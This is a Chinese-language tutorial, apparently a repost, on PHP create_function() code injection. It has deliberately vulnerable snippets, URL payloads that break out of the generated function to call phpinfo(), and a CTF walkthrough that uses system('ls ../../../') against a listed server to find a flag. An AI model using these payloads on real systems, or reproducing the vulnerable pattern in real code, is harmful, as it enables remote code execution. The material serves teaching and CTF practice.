create_function()代碼注入


00x00create_function()函數的簡介

適用范圍:PHP 4> = 4.0.1PHP 5PHP 7

功能:根據傳遞的參數創建匿名函數,並為其返回唯一名稱。

語法:

create_function(string $args,string $code)
//string $args 聲明的函數變量部分
//string $code 執行的方法代碼部分

0x01 函數功能分析

案例

<?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo "New anonymous function: $newfunc\n";
echo $newfunc(2, M_E) . "\n";
?>

create_function()會創建一個匿名函數(lambda樣式)

create_function()函數會在內部執行 eval(),我們發現是執行了后面的return語句,屬於create_function()中的第二個參數string $code位置。

因此create_function函數等價於

<?php
function lambda1($a,$b){
    return "ln($a) + ln($b) = " . log($a * $b);
}
?>

0x03 實現代碼注入的案例

案例一:

<?php
error_reporting(0);
$sort_by = $_GET['sort_by'];
$sorter = 'strnatcasecmp';
$databases=array('1234','4321');
$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
usort($databases, create_function('$a, $b', $sort_function));
?>

payload的構造:

http://localhost/test/1.php?sort_by='"]);}phpinfo();/*

還原實際的組合過程:

$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by '"]);}phpinfo();/*

匿名函數實際的執行:

function niming($a,$b){
return 1 * ' . $sorter . '($a["' . $sort_by '"]);
}
phpinfo();/* }

案例 2:

<?php
$c=$_GET['c'];
$lambda=create_function('$a,$b',"return (strlen($a)-strlen($b)+" . "strlen($c));");
$array=array('reall long string here,boy','this','midding lenth','larget');
usort($array,$lambda);
print_r($array);
?>

payload的構造:

http://localhost/test/2.php?c=1));}phpinfo();/*

還原實際的組合過程:

$lambda=create_function('$a,$b',"return (strlen($a)-strlen($b)+" . "strlen(1));}phpinfo();/*));");

匿名函數實際的執行:

 function ft($a,$b){
    return (strlen($a)-strlen($b)+" . "strlen(1));}phpinfo();/*));
 }

0x04 一道存在create_function代碼注入的CTF

 

 地址:http://198.13.45.199:5007/

兩個鏈接,先點擊“不要點我”這個鏈接,跳轉到一個含php源碼的頁面http://198.13.45.199:5007/index.php?source

 

 看見create_function函數,應該存在注入

GET請求,code隨便傳一個值,然后“;”閉合應該就可以將payload構造成功了

構造payload:

http://198.13.45.199:5007/index.php?code=1;}phpinfo();/*

 

 代碼執行成功

用system()函數執行系統操作命令

構造payload:

http://198.13.45.199:5007/index.php?code=1;}system(%27ls%20../../../%27);/*

用ls一直往前翻目錄,直到翻到名字含有flag的文件,然后cat打開就獲得flag:

 

 

PHP 7.2.0開始,create_function()被廢棄

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM